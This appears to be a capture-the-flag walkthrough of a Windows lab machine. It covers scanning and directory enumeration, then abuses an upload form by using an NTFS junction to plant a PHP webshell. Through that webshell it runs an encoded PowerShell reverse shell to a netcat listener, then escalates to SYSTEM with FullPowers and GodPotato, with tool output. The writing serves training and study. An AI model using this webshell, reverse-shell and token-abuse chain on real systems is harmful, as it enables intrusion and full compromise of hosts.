

Great machine with an interesting privesc

Windows machine that tests your `#enumeration` `#osint` `#evil-winrm` `#certipy` `#bloodyAD` `#bloodhound` `#nxc` `#smbclient` skills.

Initial creds:

User flag

Enumeration:

fscan :

```
 fscan version: 1.8.4
start infoscan
10.129.234.67:22 open
10.129.234.67:80 open
10.129.234.67:3389 open
[*] alive ports len is: 3
start vulscan
[*] Webtitle http://10.129.234.67 code:200 len:18617 title:ProMotion Studio
已完成 1/3 [-] (27/210) rdp 10.129.234.67:3389 administrator P@ssw0rd! remote error: tls: access denied
已完成 1/3 [-] ssh 10.129.234.67:22 admin 123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 1/3 [-] ssh 10.129.234.67:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 2/3 [-] (118/210) rdp 10.129.234.67:3389 admin abc123456 remote error: tls: access denied
已完成 2/3 [-] (155/210) rdp 10.129.234.67:3389 guest AdminInQ123 remote error: tls: access denied
已完成 2/3 [-] (192/210) rdp 10.129.234.67:3389 guest Aa1234 remote error: tls: access denied
已完成 3/3
[*] 扫描结束,耗时: 12m8.811065337s

(teamosh㉿teamosh)-[~/htb/temp]
$ 

Shellcodes: No Results

(teamosh㉿teamosh)-[~]
$ nmap 10.129.234.67 -sC -sV -p80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-27 09:47 AST
Couldn't open a raw socket. Error: Operation not permitted (1)

(teamosh㉿teamosh)-[~]
$ sudo nmap 10.129.234.67 -sC -sV -p80
[sudo] password for teamosh:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-27 09:47 AST
Nmap scan report for 10.129.234.67
Host is up (0.092s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: ProMotion Studio

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds
```

gobuster:

```
(teamosh㉿teamosh) [~] re http://10.129.234.67
└$ gobuster dir --url http://10.129.234.67/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:          http://10.129.234.67/
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.8
[+] Timeout:      10s

Starting gobuster in directory enumeration mode

/# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 403) [Size: 303]
/assets          (Status: 301) [Size: 340] [→ http://10.129.234.67/assets/]
/css             (Status: 301) [Size: 337] [→ http://10.129.234.67/css/]
/js              (Status: 301) [Size: 336] [→ http://10.129.234.67/js/]
/licenses        (Status: 403) [Size: 422]
/examples        (Status: 503) [Size: 403]
/Assets          (Status: 301) [Size: 340] [→ http://10.129.234.67/Assets/]
/*checkout*       (Status: 403) [Size: 303]
/CSS             (Status: 301) [Size: 337] [→ http://10.129.234.67/CSS/]
/JS              (Status: 301) [Size: 336] [→ http://10.129.234.67/JS/]
/phpmyadmin      (Status: 403) [Size: 422]
/webalizer        (Status: 403) [Size: 422]
/*dochroot*       (Status: 403) [Size: 303]
/*con             (Status: 403) [Size: 303]
/**http%3a        (Status: 403) [Size: 303]
/*http%3A          (Status: 403) [Size: 303]
/aux              (Status: 403) [Size: 303]
/**http%3A          (Status: 403) [Size: 303]
/**http%3A%2F%2Fwww (Status: 403) [Size: 303]
/server-status     (Status: 403) [Size: 422]
/devinmoore*       (Status: 403) [Size: 303]
/200109*          (Status: 403) [Size: 303]
/*sa_              (Status: 403) [Size: 303]
/*dc_              (Status: 403) [Size: 303]
Progress: 220558 / 220558 (100.00%)
```

Initially I thought it contained a web upload vulnerability (in a web sense, however it turned out to be ntlm stealer using responder - https://github.com/Greenwolf/ntlm_theft)



Not Secure http://10.129.234.67

Services About Team **Hiring**

JOIN OUR TEAM

WE'RE HIRING GRAPHICS DESIGNERS!

Your First Name *

Your Last Name *

Your Email *

Upload a brief introduction video ([compatible with Windows Media Player](#))

No file selected.

Please upload a brief introduction video about yourself and your experiences, explaining why you think you're fit for the job.

Root flag

I tried WinPEAS + PowerUP and found no success, which forced me to check for website source-code, maybe they are being run as system? So I enumerated it and located it at root path, and there happens to be source code of our file upload:

1.- **Upload Directory:** C:/Windows/Tasks/Uploads/
2.- **Folder Structure:** Files stored in MD5(firstname + lastname + email)/

```
C:\xampp\htdocs>type index.php
type index.php
<?php
error_reporting(0);

// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
    $firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
    $lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
    $email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

    // Create a folder name using the MD5 hash of Firstname + Lastname + Email
    $folderName = md5($firstname . $lastname . $email);

    // Create the full upload directory path
    $targetDir = $uploadDir . $folderName . '/';

    // Ensure the directory exists; create it if not
    if (!file_exists($targetDir)) {
        mkdir($targetDir, 0777, true);
    }
}
```

From Winpeas I found that I have write permission in C:/Windows/Tasks/Uploads/ directory

And here the interesting part starts:

we can check file permissions of our uploaded files:

```
Mode          LastWriteTime      Length Name
-a---  1/28/2026  1:52 AM      243695 timer.mp4

PS C:\Windows\Tasks\Uploads\e57d159aadd25e74a53fe15ae5b36c9a> icacls *
icacls *
timer.mp4 MEDIA\Administrator:(I)(F)
NT AUTHORITY\LOCAL SERVICE:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
PS C:\Windows\Tasks\Uploads\e57d159aadd25e74a53fe15ae5b36c9a> get-acl * | select owner
get-acl * | select owner

Owner
-----
NT AUTHORITY\LOCAL SERVICE
```

Which tells us that they are uploaded by **NT AUTHORITY\LOCAL SERVICE** -> Apache is run by **NT AUTHORITY\LOCAL SERVICE** ???

If so we can try to gain RCE by uploading webshell, but you may say that it writes it

C:\Windows\Tasks\Uploads, not even remotely close to C:\xampp\htdocs where our source code is located, well in Linux you would try to use symlink, which is the following in Windows:

```
C:\Windows\Tasks\Uploads> mklink /D folder_name_in_uploads C:\xampp\htdocs
```

But executing this command gives us an error of "insufficient privileges", so we try an alternative - junction:

```
C:\Windows\Tasks\Uploads> mklink /J folder_name_in_uploads C:\xampp\htdocs
```

So with this you can write to htdocs (our apache server) and try to get RCE as NT AUTHORITY:

To do that you can either:

1. try to calculate folder name by using sourcecode php and create a folder that way or
2. upload a file, so it creates a directory, delete that directory and create a junction with that name, so next time you upload, it will upload to C:\xampp\htdocs.



nt authority\local service

Now we can get reverse shell, the simplest and easiest one is probably using encoded powershell:

```
← → × ⌂ http://10.129.234.67/webshell.php?cmd=powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABoAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMA  
teamosh@teamosh: ~  
ions Edit View Help  
\Users\enox>cd Music  
\Users\enox\Music>dir  
ive C has no label.  
l Number is EAD8-5D48  
C:\Users\enox\Music  
2:20 AM <DIR>  
9:26 AM <DIR> ..  
[teamosh@teamosh ~] $ nc -lnp 9999  
listening on [any] 9999 ...  
connect to [10.10.16.25] from (UNKNOWN) [10.129.234.67] 52974  
whoami  
nt authority\local service  
PS C:\xampp\htdocs> _
```

After gaining reverse shell I noticed that we cannot read C:\Users\Administrator so, we can try to privesc -> I checked "whoami /priv" and so that we gained new privileges, we see SeTcbPrivilege -> GodPotato time baby

```
PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
=====

Privilege Name          Description          State
=====
SeTcbPrivilege          Act as part of the operating system  Disabled
SeChangeNotifyPrivilege Bypass traverse checking  Enabled
SeCreateGlobalPrivilege  Create global objects  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set  Disabled
SeTimeZonePrivilege      Change the time zone  Disabled
PS C:\xampp\htdocs>
```

However GodPotato showed insufficient privileges, so we need to restore them using [FullPower](#)

```
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\b0b05af1-2914-4345-b272-721f38a36ad2\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000dc02-176c-ffff-78e6-c0a2a9b07877
[*] DCOM obj OXID: 0xe09922dd3b9b8e0
[*] DCOM obj OID: 0x51c5d92d9fa917c3
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Identification
[*] Start Search System Token
[*] Find System Token : False
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[!] Cannot create process Win32Error:1314

C:\Users\Public\Music>whoami
whoami
nt authority\local service
```

```
channel 4 created.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Public\Music>FullPowers.exe
FullPowers.exe
[+] Started dummy thread with id 5676
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
whoami
nt authority\local service

C:\Windows\system32>cd C:\Users\Public\Music
cd C:\Users\Public\Music
```

```
C:\Users\Public\Music>god3.exe -cmd "cmd /c whoami"
god3.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140735857098752
[*] DispatchTable: 0x140735859685704
[*] UseProtseqFunction: 0x140735858979008
[infra] 0:vpn 1:fscan 2:multi- 3:fuz*
```

```
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\ceaa6aa2-7e61-49c9-9c09-eeaed208d0b7\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002802-0860-ffff-d521-00facef28b52
[*] DCOM obj OXID: 0xb5ca0e1d881ed7b1
[*] DCOM obj OID: 0xb4350c7948154b5f
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 892 Token:0x772 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1700
nt authority\system
```

```
[*] UseProtseqFunction: 0x140735858979008
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\b7d695b-01c3-4fb1-bab3-d451e9919dc\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000cc02-0f48-ffff-0bd5-9e4c7a2ff8d7
[*] DCOM obj OXID: 0xa854a3d0004f97a2d
[*] DCOM obj OID: 0cea4088331b2acd
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 892 Token:0x772 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4964
< CLIXML
```

```
[infra] 0:vpn 1:fscan 2:multi- 3:fuz* *teamosh* 06:48 28-Jan-20
```